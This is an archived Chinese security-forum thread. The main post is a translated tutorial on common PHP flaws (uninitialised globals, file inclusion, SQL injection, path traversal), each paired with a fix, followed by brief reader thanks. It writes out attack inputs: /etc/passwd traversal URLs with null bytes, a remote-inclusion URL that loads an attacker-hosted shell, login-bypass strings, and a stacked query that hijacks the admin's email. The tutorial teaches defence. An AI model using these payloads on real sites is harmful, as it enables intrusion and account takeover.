邪恶八进制信息安全团队技术讨论组's Archiver

r!usksk 2009-4-23 09:50

[翻译]php安全之谜(PHP Undergroud Security)

文章作者:Omnipresent
译文作者:riusksk(泉哥)
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

-[ 作者信息 ]-----------------------------------------------------------------------

标题: "PHP Undergroud Security"
作者: Omnipresent
邮箱: [email]omnipresent@email.it[/email] - [email]omni@playhack.net[/email]
主页: [url]http://omni.playhack.net[/url] - [url]http://www.playhack.net[/url]
日期: 2007-04-12

---------------------------------------------------------------------------------



-[ 译者信息 ]-----------------------------------------------------------------------

译者:riusksk(泉哥)

邮箱:riusksk@qq.com

主页: [url]http://riusksk.blogbus.com[/url]

日期:2008-11-15

---------------------------------------------------------------------------------



-[ 摘要 ]---------------------------------------------------------------------

     0x00: 前言

     0x01: 关注全局变量
          [*] 修补

     0x02: 文件包含
          [*] 修补

     0x03: 跨站脚本
     0x04: SQL注入

          \_ 0x04a: 绕过登陆验证
          \_ 0x04b: 1 Query? No.. 2 one!(译注:不好翻译,还是保留原文吧!)
          [*] 修补

     0x05: 文件遍历
          [*] 修补
     0x05: 结论


---[ 0x00: 前言]

大家好!首先对我糟糕的英语表示抱歉,因为它不是我的母语.

在本教程中,我将会向大家介绍一些主要的php漏洞,以及如何发现、利用并修补它!

-----------------------------------------------------------------------------[/]

---[ 0x01: 关注全局变量]


在php中,你并不一定需要声明变量(这对程序员来说确实是件好事),当你必须使用它时它会“自动”创建的。你可能认为这是件不错的事,确实如此,但这只是偶而发生的事情。

众所周之,PHP经常要获取用户的输入值,并对其进行处理。假如我们在使用一个未声明过的变量时,就可能会引发web程序的安全问题。例如下面一段代码:

[...]

     if ($is_admin == 1) {
          //Yes, I'm the admin so call the Administration Pannel
          [...]
     } else {
          //No, I'm not the admin
          [...]
     }



上面的变量$is_admin ,我们在使用前并未声明过,那么我们是否可以绕过该变量(在bugged.php文件中)而访问未经授权的管理面板呢?答案是肯定,但我们该如何添加管理认证权限呢?其实很简单,比如:

http://remote_host/bugged.php?is_admin=1


---[ 修补 ]---
如何修补该漏洞呢?这很容易:在if语句前声明变量$is_admin 即可,代码如下:

$is_admin = 0;

[...]

     if ($is_admin == 1) {
          //Yes, I'm the admin so call the Administration Pannel(为真,则说明是管理员,因此被重定向管理界面)
          [...]
     } else {
          //No, I'm not the admin(为假,则不是管理员)
          [...]
     }

-----------------------------------------------------------------------------[/]


---[ 0x02: 文件包含]

-----[本地文件包含]

PHP是种杰出的语言,强大而简单;但是如果你不想在你的代码中出现安全问题,那么你就必须注意一下你的代码了。

在一些情况下,使用动态包含文件(部分路径名存在某个变量中)确实是件好事。让我们看一下下面的代码:


<?php

     include "/users/".$include_path.".php";
     [...]
?>



变量$include_path 在使用前并未进行任何声明,因此攻击者可以在该变量中输入恶意数据,使其包含其它文件(比如/etc/passwd..)。

用户通过修改URL中的$include_path 变量值可以很容易浏览其它文件。例如:

http://remote_host/bugged.php?include_path=../../../../etc/passwd%00



包含后的结果如下:


<?php

     include "/users/../../../../etc/passwd%00.php"
     [...]
?>


因此攻击者可以窃取到存在服务器上的所有密码。




- [ 注意 ] -

%00是一个NULL字符,用于“删除”PHP文件扩展名。如果省略掉NULL,将只会显示PHP文件的内容,因为包含文件的扩展名是PHP(include "/users/".$include_path.".PHP")

-------------------------------------------------------------------------------



-----[ 远程文件包含]

先看一下下面的代码:



<?php

     [...]

          include($_GET['pag']);

     [...]

?>




正如我们所看到的,变量$page 在使用前并未进行任何验证,因此恶意用户可以通过浏览器包含或者调用他的脚本,从而获得被害者电脑的访问权或者像上面说的一样——浏览文件。

例1(提权):

http://remote_host/inc.php?pag=[Evil Script - our shell located on our server]
例2(浏览文件):

http://remote_host/inc.php?pag=/etc/passwd


---[ 修补 ]---

如何解决这种问题呢?验证输入值就可以了。用得最多的一个验证方法就是创建一个可访问页面的列表,如下:


[...]

     $pag = $_GET['pag'];

     $pages = array('index.php', 'alfa.php', 'beta.php', 'gamma.php');
     
          if(in_array($pag, $pages))
          {
               include($pag);
          {
               else
               {
               die("Hacking Attempt!");
               }

[...]

-----------------------------------------------------------------------------[/]

---[ 0x03: 跨站脚本]

你是否想知道一些关于XSS的资料呢?关于这方面的内容,我的朋友已经写了很多了,我想我没必要再做重复的工作了,具体可以看下面的链接:
     [+] "Cross-Site Scripting for Fun and Profit"
      [url]http://www.playhack.net/view.php?type=1&id=18[/url]

     [+] "Applying XSS to Phishing Attacks"
      [url]http://www.playhack.net/view.php?type=1&id=20[/url]

-----------------------------------------------------------------------------[/]

---[ 0x03: SQL 注入]

SQL注入,如名字所述:在一个存在漏洞的WEB程序中,你可以在请求语句中注入SQL语句。
-----------------------------------------------------------------------------[/]

------[ 0x04b 绕过登陆验证]

在举例之前,我们必须先知晓一些关于SQL的内容:

- (')  这是什么呢?对攻击者来说,这是一个SQL语法中的操作符,这在漏洞攻击中是非常重要的,它可以用于划分字符串…

- (#) 用于注释,'#'(没有分号),这在SQL语法中用于作注释用的。记住它,因为它非常实用和重要!

- (;) 这个符号在数据库中可以用于构造新的请求语句。呆会我们看一下用它来入侵的实际操作,先看一下下面的例子(绕过登陆验证--获取管理权限):


<?php

     // login.php
         
     $nick = $_POST['nick'];
     $pass = $_POST['pass'];

     $link = mysql_connect('localhost', 'root', 'root') or die('Error: '.
          mysql_error());

     mysql_select_db("sql_inj", $link);


$query = mysql_query("SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'",
$link);

if (mysql_num_rows($query) == 0) {
echo "<script type=\"text/javascript\">window.location.href='index.html';</script>";
exit;
}

     $logged = 1;

     [...]

     //EoF

     ?>



虽然这段脚本代码非常简单,但是这在学习SQL注入时非常有用。正如我们所看到的,变量$nick和 $pass用于SQL请求时并未进行任何有效地验证,因此我们可以注入我们的SQL代码!看一下下面的请求语句:



"SELECT * FROM sql_inj WHERE nick ='".$nick."' AND pass ='" .$pass. "'"



What happends if we pass two variables tainted like these:

假如我们输入经恶意构造的这两个变量,那么将会发生什么事呢,例如:


$nick = 1' OR '1' = '1
$pass = 1' OR '1' = '1

The new query will be:

构成新的请求语句:

"SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' AND pass ='1' OR '1' = '1'"




如果你已经知道了关于数据库中的表的知识,但还未弄清楚上面的语句,那么可以看看下面的解释,以帮助你理解它。

1 OR 1 = 1 ??

1或者1等于1?很明显的!那么谁是'sql_inj'表中的第一位用户呢?会是安装这一WEB程序的人吗?没错!就是管理员。

因此我们可以以管理员的身份登陆网站,这样我们就成为管理员了,酷吧!

我们也可以输入下列请求:


$nick = 1' OR '1' = '1' #
$pass = what_we_want_to_put

构成新一请求语句:
"SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1' # AND pass = what_we_want_to_put"



之前我们已经说过'#'是注释用的!现在我们重新构成新的请求语句:



"SELECT * FROM sql_inj WHERE nick ='1 OR '1' = '1'



现在我们又变成管理员了:D


------[ 0x04b: 1 Query? No.. 2 one! ]

通过SQL注入,我们可以通过修改请求语句,从而注入新的数据,更改用户资料,还可以做其它事……让我们看一下下面的源代码:


<?php

//email.php

[...]

$email = $_POST['email'];

[...]

$query = mysql_query("SELECT email, passwd, user_name FROM users WHERE email =
'".$email."'");
[...]

?>


在这里,变量$email 在使用前并未进行任何有效地验证,因此我们可以利用它了。比如通过输入像下面的变量值就可以很容易地更新数据库信息了:


$email = x'; UPDATE users SET email = 'omnipresent@email.it'
      WHERE email = 'admin@site.com ';

构造新的请求语句:



SELECT email, passwd, user_name FROM users
     WHERE email = ' x'; UPDATE users SET email = 'omnipresent@email.it'
     WHERE email = 'admin@site.com ';


这里攻击者可以修改 'users' 表,特别是管理员的邮箱,利用他的邮箱,我可以通过“忘记了密码?”这一链接,利用邮箱(这里是[email]omnipresent@email.it[/email])接收一封像下列内容的邮件,从而达到目的:



From: [email]host@site.com[/email]
     To: [email]omnipresent@email.it[/email]
     Subject: Login Password

     Ehy.. take it ;)

     Username: Admin
     Password: 12345

     Regards,
     Admin


---[ 修补 ]---
首先可以通过修改php.ini文件来修补脚本漏洞:

1. 在所有的' (单引号) , “ (双引号) , \ (反斜线)以及NULL前自动加上转义符——反斜线“\”
    -COOKIE
    -POST
    -GET

2. 在字符串前加上斜线‘/’

3. 将指定的字符转换为HTML实体

4.转义在mysql-query中使用的字符串

5. 可以到 [url]www.php.net[/url] 查看更多的函数

(译注: [url]www.php.net[/url] 是一个不错的PHP在线查询站点,我经常用它来查询PHP函数及其它相关资料。)

6. 验证用户提取的数据,例如:

    $user_id = (int)$_GET['user_id'];
   
    $user_id is always an integer and we can cast the input for securing
    our web applications.

变量$user_id 总为整数,这样就可以确保在WEB程序中输入数据的安全了。
-----------------------------------------------------------------------------[/]

---[ 0x05: 文件遍历]

遍历文件是一个十分危重的漏洞,下面简单讲解一下该漏洞。

无论在什么时候,当我们需要使用文件时都需要检查一下脚本中的文件名及其路径。

在大多情况下,文件名都是作为函数fopen()的参数来传输的,比如:

<?php

[...]

    $fp = fopen("/path/{$_GET['filename']}.txt", 'r');

[...]

?>


由于在这段脚本代码中'filename' 可被被远程用户修改破坏,这就造成了文件遍历漏洞。

在这种情况下,攻击者可以通过使用多个"../"来移动目录查看文件。

例如:

http://remote_host/path/bug.php?filename=../../../../path_of_another_file/file%00


NULL Byte (%00)在许多攻击中多用于截断字符串,以突破文件扩展名的限制。

---[ 修补 ]---

修补这一漏洞最好的方法就是使用basename()函数,例如:


<?php

    $clean = array();
   
    if (basename($_GET['filename']) == $_GET['filename'])
         {
              $clean['filename'] = $_GET['filename'];
         }
    else
         {

              [...]

         }

$fp = fopen("/path/{$clean['filename']}.txt", 'r');


?>


-----------------------------------------------------------------------------[/]


---[ 0x06: 结论 ]

这是"PHP Undergroud Security"的结尾了,希望本文对你打造php安全代码有所帮助!

有任何问题可发送邮件至 [email]omnipresent@email.it[/email] 或者 [email]omni@playhack.net[/email] 。
-----------------------------------------------------------------------------[/]

\=======================[EOF]============== ====== /

ywisax 2009-11-25 07:41

不是很详细,但是都把现在php中的安全问题提及了……

小女布衣 2010-1-28 10:34

*** 作者被禁止或删除 内容自动屏蔽 ***

gezz 2010-3-24 20:16

谢谢楼主的翻译 写的蛮不错的

fanglong 2010-4-19 17:55

有点杂乱无章,实话.

偷心大圣s7 2010-5-23 07:41

*** 作者被禁止或删除 内容自动屏蔽 ***

454667272 2010-5-24 12:43

好东西。谢了。还是英语好点好。

117311730 2010-5-24 16:33

虽说,程序英语水平不一定要到达什么什么水平以上,
不过,英语好点,对程序有非常非常大的帮助

感伤 2010-6-19 22:33

非常不错 我非常喜欢 :loveliness:

linyu408 2010-7-14 14:40

有了一小点收获哦
哎:victory:

页: [1]
© 1999-2008 EvilOctal Security Team